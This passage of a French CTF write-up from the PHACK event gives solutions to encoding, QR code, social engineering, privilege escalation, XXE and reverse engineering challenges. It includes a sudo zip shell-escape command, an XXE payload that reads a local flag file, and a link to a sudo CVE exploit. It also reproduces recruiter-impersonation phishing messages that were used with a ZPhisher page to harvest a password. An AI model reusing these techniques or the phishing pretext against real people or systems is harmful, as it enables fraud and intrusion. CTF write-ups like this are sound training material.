ici 3, et le champ code nous donne le message encoder dans cette base. On met les bons réglages sur cyberchef : ![](https://i.imgur.com/QqpSV3a.png) Et on le fait plusieurs fois jusqu'à obtenir le flag : `PHACK{Av3z-v0us-L3s-b4s3s?}` ### Quick Response Code On nous donne une archive avec beaucoup de QR Code à l'intérieur, on en scan un au pif et il nous dit `Nothing here (id=0x12345667890)` Faut alors scanner tout les QR Codes, quelques uns sont différents et en les mettants bout à bout on récup le flag ```python= from pyzbar.pyzbar import decode import os from PIL import Image prefix = "../../../PHack/out/" flag = [""] * 64 for name in os.listdir(prefix): result = decode(Image.open(prefix + name)) if b"Nothing" not in result[0].data: # Flag char x is "y" print(result[0].data.decode()) i = int(result[0].data.decode().split(' ')[2]) letter = result[0].data.decode().split(' ')[4][1] flag[i] = letter print("".join(flag)) ``` ### WikiBot On envoie "coucou" en MP au bot discord donner. Ensuite on se connecte à 5 ou 6 comptes discords pour répondre au questions copier coller au préalable. Et après cette boucherie on chope le flag : `PHACK{i_4m_th3_w1k1_b0t}` ### A-Maze-Ing Un simple challenge de solve de labyrinthe, on fait une requête GET pour récup pour le labyrinthe et une requête POST pour renvoyer la réponse. à noter qu'il fallait rajouter un `Content-Type: application/json` dans les headers pour que ça marche bien... :eyes: ## Social Engeneering ### Agent Secrétariat On doit récupérer des informations sur Mlle NICHE Jessica, En faisant des recherches sur Internet on trouve vite sa page LinkedIn qui nous indique qu'elle recherche activement un travail. Je lui ai donc envoyé un message en me faisant passer pour un recruteur ``` Bonjour mademoiselle Niche, J'ai eu vent de la part d'un contact commun que vous êtes en recherche d'emploi. Il s'avère que nous sommes en recherche d'un nouveau collaborateur (ou collaboratrice) pour le développement d'une nouvelle branche encore en développement dans notre entreprise.* Votre mission sera principalement dans le développement du Business Model et sa mise en marche pour notre produit de sécurité informatique à SECU Studio. Je dois vous avouer que je suis impressionné par votre CV. Votre longue expérience en tant que "Responsable des ventes" chez WeakCorp me laisse penser que vous serez suffisamment à la hauteur pour développer une synergie importante entre vous et notre entreprise. Bien que nous sommes encore qu'une simple Start-Up, nous sommes certain que vous vous plairez dans nos locaux à Vannes en Bretagne, et votre talent saura être apprécié à sa juste valeur. Merci de me répondre afin de discuter plus amplement des modalités, Stéphane Bouleau, Responsable des ressources humaines, SECU Studio ``` Le lien est "vérolé", il passe par beeceptor. ça permet de récupérer son addresse IP (en théorie, au final j'ai pas réussi lol) Elle a répondu ``` Bonjour Mr. BOULEAU, Merci de l'intérêt que vous me portez. Pourriez-vous m'en dire plus sur le poste, tel que les tâches mensuelles et les modalités du contrat ? Merci d'avance, Cdt, Jessica NICHE ``` J'ai pu mettre un place un service de phishing (ZPhisher) et j'ai fait genre qu'il y avait plus d'infos sur ma fausse page LinkedIn où elle devait se connecter: ``` Bien sûr, Merci pour votre patience, j'ai encore quelques détails à régler concernant lesdites-modalités mais je peux sans problème vous en dire plus sur vos prochaines missions. Au cours de votre journée, vous serez souvent amenée à régler des problèmes d'ordres financiers. De plus, vous allez avoir l'opportunité d'établir à long et moyen terme les stratégies de vente à venir pour le développement au sein du territoire français de notre produit. On attendra aussi de vous d'être disponible et polyvalente, pour pouvoir compter sur vous en cas d'imprévu. Pour plus de détails, je me permets de vous rediriger vers la (fiche LinkedIn)[lien vérolé] afin d'obtenir plus d'informations. Cordialement, Stéphane BOULEAU, Responsable des Ressources Humaines, (SECU Studio)[idem] ``` J'ai récupérer son mdp, c'est-à-dire le flag: PHACK{U_gOt_mY_P4sswOrD_wi7h_s0ci4l_3ngin33ring} ## Système ### Sudoku1 ``` -bash-5.1$ sudo -l User padawan may run the following commands on sudoku: (master) NOPASSWD: /usr/bin/zip -bash-5.1$ TF=$(mktemp -u) -bash-5.1$ sudo -u master zip $TF /etc/hosts -T -TT 'sh #' adding: etc/hosts (deflated 35%) /home/padawan $ id uid=101(master) gid=65533(nogroup) groups=65533(nogroup) /home/padawan $ ls note.txt /home/padawan $ cd .. /home $ ls master padawan /home $ cd master/ ~ $ ls flag.txt ~ $ cat flag.txt PHACK{U_h4v3_tH3_suP3r_P0w3r} ``` ### 2 Be or ! 2 Be On doit utiliser un suid, en particulier le seul qui existe: python3.8 Après avoir un peu galéré avec les permissions (je voulais lancer un shell mais à chaque fois ça drop les permissions :shrug:), je me rends compte qu'il existe au final un moyen simple, directement lire le fichier depuis python. ![](https://i.imgur.com/EROWbB5.png) ### Sudoku 2 exploit de sudo avec le feedback activé https://github.com/Plazmaz/CVE-2019-18634 ![](https://i.imgur.com/9sUbgly.png) ### Graduated On prends la place d'un prof qui veut récup le flag mais il a pas les droits. Il a un service de mise de notes qui est automatisé par un service du recteur (propriétaire du flag). Les données d'entrées sont au format XML et on a un accès total à ce qu'on mets. Les données sont ensuite enregistrée dans une BDD sqlite3 auquel on a accès (je crois que en lecture). C'est une XXE, il faut utiliser le format XML pour récupérer le fichier flag.txt et l'enregistrer dans l'un des champs utilisés. ```xml= <!DOCTYPE description [<!ENTITY test SYSTEM 'file:///home/rector/flag.txt'>]> ``` Il suffisait une ligne de ce style au début de fichier et de le mettre dans /home/teacher/evaluations, qui sera ensuite traité par le programme du recteur. ## Misc ### We-3 (Checkmate) On nous donne une archive chiffrée par un mot de passe. On peut le cracker facilement avec JohnTheRipper (d'abords zip2john puis john). Mdp: briare On peut décompresser et on se retrouve avec une archive .tar.gz et à l'intérieur un fichier game_0128.bak Cependant j'ai essayé les 3 md5 des fichiers et aucun ne marche :( RT #### MD5 challenge.tar.gz: 731874d3d13e186f771577841b322153 challenge.tar: 4e12a248e4c904b55655a73775ed8faa game_0128.bak: 7d2cce590620ed54f6e69009655741a2 c'est une partie d'echec a reconstituer : je l'avais deja fait mais y'a 1 erreur je crois : J'ai reconstitué la partie, et flag le challenge. à la fin j'ai eu comme partie: `e4.e5.Nf3.Nc6.d4.exd4.Nxd4.Nxd4.Qxd4.Nf6.e5.Nh5.g4.f6.gxh5.fxe5.Qxe5+.Be7.Nc3.d6.Qe4.Bf5.Qxf5.Rf8.Qe4.h6.Bc4.Qd7.O-O.c5.Re1.b6.Bb5.Qxb5.Qxe7#` Au début y avais quelques choix possibles mais après ça s'est déroulé tout seul, fallait juste pas oublier de faire le Roque ### We-2 (Zipline) On a une archive qui contient une archive qui contient une archive qui contient une archive... à n'en plus finir On a aussi un p'tit fichier texte avec 4 pseudos (intitulé password.lst) En appuyant très vite avec 7-Zip (ou un autoclicker) on peut passer d'archive en archive, de temps en temps une archive est protégée par un mot de passe, à chaque fois c'est un des pseudos de password.lst à la fin, les noms des archives diffèrent et on remarque qu'ils épellent PHACK... Avec un peu de travail on retrouve le flag... (je l'ai plus my bad) ### WE-3 (Flag Club) On devait chercher des codes parmis les autres participants, et on nous dit qu'il y a besoin de 5 codes uniquement pour récupérer le secret. En fait c'est du "Shamir Secret Sharing" qui se base sur des polynomes et des points dans l'espace pour résoudre une équation de polyonme et retrouve le point en 0 -> le nombre secret / le flag On a récup eux: ``` 26-740c4aec357d902cbf3466d454009fa60afc922ece84b756a72743939be3d8bd83bb61e283f88169d507dd08b9c34fbf8ddeb7ae2b52c7c0c67482118d34c723974481b37d73126f08ae5f5689c6de4c6f42ceb7721b2d32f2371e110f344b2380 47-f9b71c6513564b492c86425fb6a816a571fe5a801a7aeda9ef2fa29f50fb2d854bdb130a1fe5cd0ef02010403b8f21e0cee6157e67a176df1406f833a89b1df838f95c599f7a44828573f0a3c20bf31bbaf234898a05ac8454a395ddcca1f3bfb9 15-d76439aa22a213f152efe19b351b19a78ad4d7eeba72a9a38944269499785a19a629d13655693005de16d9df293477c71c7e8e1e7af006746d4bf753e4b1345023c9aced288c92a00b24e22a901cbc3b4d7567392d8df641b2ed9637444413d359 10-6a8e98015421cd9c22b593ed73e7da5cc72b92e31fdc06992b8a5b82b127d655dc0f637953a7a37758e061cc05a1034895e1609d4e87701659b6c0727e210e2879106d01b9a97f90598e6804fda0a9529fed5d7faa8119047112754671c781a63f 03-347d5a88f237273ee597e0643f15a812cfbc0c7a2b990d05fd83aa9ea7dc8907ef13d594c90a75fb923880c75d157c0989bde1d9064677c5b3b6ad020e465f528bc65fbf6353c110d038609829368ad6d11777617715afde4a1af8085ebf54ed51 ``` Avec internet, on trouve relativement facilement un site qui les acceptes et les traites bien: [Flag=PHACK{And the eighth and final rule, if this is your first night at Flag Club, you have to flag!}](http://point-at-infinity.org/ssss/combine.php?t=5&shares=26-740c4aec357d902cbf3466d454009fa60afc922ece84b756a72743939be3d8bd83bb61e283f88169d507dd08b9c34fbf8ddeb7ae2b52c7c0c67482118d34c723974481b37d73126f08ae5f5689c6de4c6f42ceb7721b2d32f2371e110f344b2380%0D%0A47-f9b71c6513564b492c86425fb6a816a571fe5a801a7aeda9ef2fa29f50fb2d854bdb130a1fe5cd0ef02010403b8f21e0cee6157e67a176df1406f833a89b1df838f95c599f7a44828573f0a3c20bf31bbaf234898a05ac8454a395ddcca1f3bfb9%0D%0A15-d76439aa22a213f152efe19b351b19a78ad4d7eeba72a9a38944269499785a19a629d13655693005de16d9df293477c71c7e8e1e7af006746d4bf753e4b1345023c9aced288c92a00b24e22a901cbc3b4d7567392d8df641b2ed9637444413d359%0D%0A10-6a8e98015421cd9c22b593ed73e7da5cc72b92e31fdc06992b8a5b82b127d655dc0f637953a7a37758e061cc05a1034895e1609d4e87701659b6c0727e210e2879106d01b9a97f90598e6804fda0a9529fed5d7faa8119047112754671c781a63f%0D%0A03-347d5a88f237273ee597e0643f15a812cfbc0c7a2b990d05fd83aa9ea7dc8907ef13d594c90a75fb923880c75d157c0989bde1d9064677c5b3b6ad020e465f528bc65fbf6353c110d038609829368ad6d11777617715afde4a1af8085ebf54ed51) ## Reverse ### Tendu comme un slip ``` $ strings tendu| grep "PHACK" PHACK{s1mplY_5tr1ng5_i7} ``` ### Military Grade Password quand t'as pas de décompileur bien et que t'as la flemme de reverse un programme -> angr c'est cool On voit qu'il y a 2 strings importantes `[+] ACCESS GRANTED!` On a réussi `[+] ACCESS DENIED!` On a échoué petit script python: ```python= import angr import claripy proj = angr.Project('login') simgr = proj.factory.simgr() simgr.explore(find=lambda s: b"[+] ACCESS GRANTED!" in s.posix.dumps(1)) s = simgr.found[0] print(s.posix.dumps(0)) ``` qui retourne : ``` b'q4Eo-eyMq-1dd0-leKx\x82\x90\x8b!\xa0A\x85B\x1c\x8c\x84\x80`\x18\x85\x07&J+\xa0\x9cJ@\x1b\x8c\x00H\x8a\x13\x0c\x8a\x1c\xa0(A\x00\x04\xc0\x01\x15\xa0' ``` PHACK{q4Eo-eyMq-1dd0-leKx} voilà